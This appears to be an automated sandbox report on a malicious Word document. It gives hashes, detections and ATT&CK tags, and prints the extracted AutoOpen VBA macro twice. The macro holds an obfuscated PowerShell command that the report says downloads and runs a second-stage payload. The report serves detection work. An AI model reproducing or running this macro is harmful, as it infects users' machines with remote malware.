Office (OLE) malware analysis — malicious · 5e14480df12f9ef8

MALICIOUS

Office (OLE)

86.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-12

MD5: d429e903a364d6910ff3bcc39e4af867 SHA-1: f05b3fa5707708d911ce403df9246cbbd7850ce4 SHA-256: 5e14480df12f9ef8d939ac6aace34483f2f70c0ae02ca683aa632b93be8ec804

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that is triggered when the document is opened. This macro utilizes the Shell() function to execute a heavily obfuscated PowerShell command. The reconstructed PowerShell command appears to be designed to download and execute a second-stage payload.

Heuristics 7

ClamAV: Doc.Malware.00536d-6731840-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6731840-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8196 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8196 bytes
SHA-256: `cdfcd6335ba8fb55b1f92bb61d92c6175316ebde095383dda26b59c4f10d662b`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const gekyneXrEjymErvaJYDyLIlolAP = 0 Sub AutoOpen() On Error Resume Next Dim tUCiWELiqOjymegiBitajEmIVuxCEZ tUCiWELiqOjymegiBitajEmIVuxCEZ = IsNull(Choose(1, "KiaYaOLiWALu", "tUCiWELiqOjymegiBitajEmIVuxCEZ", "KiaYaOLiWALutUCiWELiqOjymegiBitajEmIVuxCEZ")) IsError CVErr(4743) Call IsNull(4743 - 1 * 12) If Len(KiaYaOLiWALu) > Len(CStr(Hex(4743))) Then Call IsError(CVErr(CInt(CStr(KiaYaOLiWALu)))) End If QAZopuwylaQIZMOWZeGepuxoCowiloKAQEgalyqy = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8" rEqAXuBuPoCesotYLAPEpakeQES = "^A^L^w^B^m^A^G^E^A^Z^w^B^l^A^G^k^A^b^g^B^n^A^G^w^A^Z^Q^B^z^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^2^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G" TYkozepUBatqEdumOMifYj = "^M^A^Y^w^A^w^A^G^E^A^M^w^B^h^A^D^I^A^N^g^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^X^A^B^j^A^G^M^A^M^A^B^h^A^D^M^A^Y^Q^A^y^A^D^Y^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A" Dim WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA = IsNull(Choose(5, "qicExaXYvytukuFyZYMoS", "WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA", "qicExaXYvytukuFyZYMoSWOwuQAMuKUfuruwQOmuwISaJyneNEkAVA")) IsError CVErr(3944) Call IsNull(3944 - 5 * 10) If Len(qicExaXYvytukuFyZYMoS) > Len(CStr(Hex(3944))) Then Call IsError(CVErr(CInt(CStr(qicExaXYvytukuFyZYMoS)))) End If Dim laGUnoVTUXFybePiHYCONUBOWw laGUnoVTUXFybePiHYCONUBOWw = IsNull(Choose(4, "BIpijOGeQuHOsOsYNK", "laGUnoVTUXFybePiHYCONUBOWw", "BIpijOGeQuHOsOsYNKlaGUnoVTUXFybePiHYCONUBOWw")) IsError CVErr(6234) Call IsNull(6234 - 4 * 12) If Len(BIpijOGeQuHOsOsYNK) > Len(CStr(Hex(6234))) Then Call IsError(CVErr(CInt(CStr(BIpijOGeQuHOsOsYNK)))) End If Dim nYtYVUdacYNugaXilEaeZoWXjaRIlEj nYtYVUdacYNugaXilEaeZoWXjaRIlEj = IsNull(Choose(5, "wOgIHusYhuYiYN", "nYtYVUdacYNugaXilEaeZoWXjaRIlEj", "wOgIHusYhuYiYNnYtYVUdacYNugaXilEaeZoWXjaRIlEj")) IsError CVErr(4751) Call IsNull(4751 - 5 * 10) If Len(wOgIHusYhuYiYN) > Len(CStr(Hex(4751))) Then Call IsError(CVErr(CInt(CStr(wOgIHusYhuYiYN)))) End If juFIgAnEMUBIrYBIcAbyxaFyBUqaMAFATis = "^A^=^=" Dim cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW = IsNull(Choose(7, "iyLJehOroGIp", "cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW", "iyLJehOroGIpcAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW")) IsError CVErr(9768) Call IsNull(9768 - 7 * 12) If Len(iyLJehOroGIp) > Len(CStr(Hex(9768))) Then Call IsError(CVErr(CInt(CStr(iyLJehOroGIp)))) End If Call kUaIRZERyfAdAKoTyHOvnbAQYZuVaxeHi(QAZopuwylaQIZMOWZeGepuxoCowiloKAQEgalyqy & "", rEqAXuBuPoCesotYLAPEpakeQES + CStr(""), TYkozepUBatqEdumOMifYj, "r74792" ... (truncated)

SHA-256: cdfcd6335ba8fb55b1f92bb61d92c6175316ebde095383dda26b59c4f10d662b

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const gekyneXrEjymErvaJYDyLIlolAP = 0
Sub AutoOpen()
On Error Resume Next
Dim tUCiWELiqOjymegiBitajEmIVuxCEZ

tUCiWELiqOjymegiBitajEmIVuxCEZ = IsNull(Choose(1, "KiaYaOLiWALu", "tUCiWELiqOjymegiBitajEmIVuxCEZ", "KiaYaOLiWALutUCiWELiqOjymegiBitajEmIVuxCEZ"))
IsError CVErr(4743)
Call IsNull(4743 - 1 * 12)

If Len(KiaYaOLiWALu) > Len(CStr(Hex(4743))) Then
   Call IsError(CVErr(CInt(CStr(KiaYaOLiWALu))))
End If
QAZopuwylaQIZMOWZeGepuxoCowiloKAQEgalyqy = "" + Format(ChrW((12.5 * 8) - 1)) + "md." + Format(ChrW(101)) + "x" + Format(ChrW(101)) + " /" + Format(ChrW((12.5 * 8) - 1)) + " P^O^W^" + Format(ChrW(101)) + "^r^s^H^" + Format(ChrW(101)) + "^l^L^.^E^X^" + Format(ChrW(101)) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW((12.5 * 8) - 1)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^A^6^A^C^8"

rEqAXuBuPoCesotYLAPEpakeQES = "^A^L^w^B^m^A^G^E^A^Z^w^B^l^A^G^k^A^b^g^B^n^A^G^w^A^Z^Q^B^z^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^o^A^H^A^A^P^w^B^s^A^D^0^A^" + Format(ChrW((12.5 * 8) - 1)) + "^A^B^v^A^H^I^A^" + Format(ChrW(101)) + "^Q^A^2^A^C^4^A^" + Format(ChrW(101)) + "^A^B^h^A^H^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW((12.5 * 8) - 1)) + "^A^G"


TYkozepUBatqEdumOMifYj = "^M^A^Y^w^A^w^A^G^E^A^M^w^B^h^A^D^I^A^N^g^A^u^A^G^U^A^" + Format(ChrW(101)) + "^A^B^l^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW((12.5 * 8) - 1)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^" + Format(ChrW((12.5 * 8) - 1)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW((12.5 * 8) - 1)) + "^A^X^A^B^j^A^G^M^A^M^A^B^h^A^D^M^A^Y^Q^A^y^A^D^Y^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^s^A^I^A^B^F^A^H^g^A^a^Q^B^0^A"

Dim WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA

WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA = IsNull(Choose(5, "qicExaXYvytukuFyZYMoS", "WOwuQAMuKUfuruwQOmuwISaJyneNEkAVA", "qicExaXYvytukuFyZYMoSWOwuQAMuKUfuruwQOmuwISaJyneNEkAVA"))
IsError CVErr(3944)
Call IsNull(3944 - 5 * 10)

If Len(qicExaXYvytukuFyZYMoS) > Len(CStr(Hex(3944))) Then
   Call IsError(CVErr(CInt(CStr(qicExaXYvytukuFyZYMoS))))
End If

Dim laGUnoVTUXFybePiHYCONUBOWw

laGUnoVTUXFybePiHYCONUBOWw = IsNull(Choose(4, "BIpijOGeQuHOsOsYNK", "laGUnoVTUXFybePiHYCONUBOWw", "BIpijOGeQuHOsOsYNKlaGUnoVTUXFybePiHYCONUBOWw"))
IsError CVErr(6234)
Call IsNull(6234 - 4 * 12)

If Len(BIpijOGeQuHOsOsYNK) > Len(CStr(Hex(6234))) Then
   Call IsError(CVErr(CInt(CStr(BIpijOGeQuHOsOsYNK))))
End If
Dim nYtYVUdacYNugaXilEaeZoWXjaRIlEj

nYtYVUdacYNugaXilEaeZoWXjaRIlEj = IsNull(Choose(5, "wOgIHusYhuYiYN", "nYtYVUdacYNugaXilEaeZoWXjaRIlEj", "wOgIHusYhuYiYNnYtYVUdacYNugaXilEaeZoWXjaRIlEj"))
IsError CVErr(4751)
Call IsNull(4751 - 5 * 10)

If Len(wOgIHusYhuYiYN) > Len(CStr(Hex(4751))) Then
   Call IsError(CVErr(CInt(CStr(wOgIHusYhuYiYN))))
End If
juFIgAnEMUBIrYBIcAbyxaFyBUqaMAFATis = "^A^=^="


Dim cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW

cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW = IsNull(Choose(7, "iyLJehOroGIp", "cAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW", "iyLJehOroGIpcAtENabyKyKniNYVRiSYJBOjEMeROnirYFadIW"))
IsError CVErr(9768)
Call IsNull(9768 - 7 * 12)

If Len(iyLJehOroGIp) > Len(CStr(Hex(9768))) Then
   Call IsError(CVErr(CInt(CStr(iyLJehOroGIp))))
End If
Call kUaIRZERyfAdAKoTyHOvnbAQYZuVaxeHi(QAZopuwylaQIZMOWZeGepuxoCowiloKAQEgalyqy & "", rEqAXuBuPoCesotYLAPEpakeQES + CStr(""), TYkozepUBatqEdumOMifYj, "r74792"
... (truncated)

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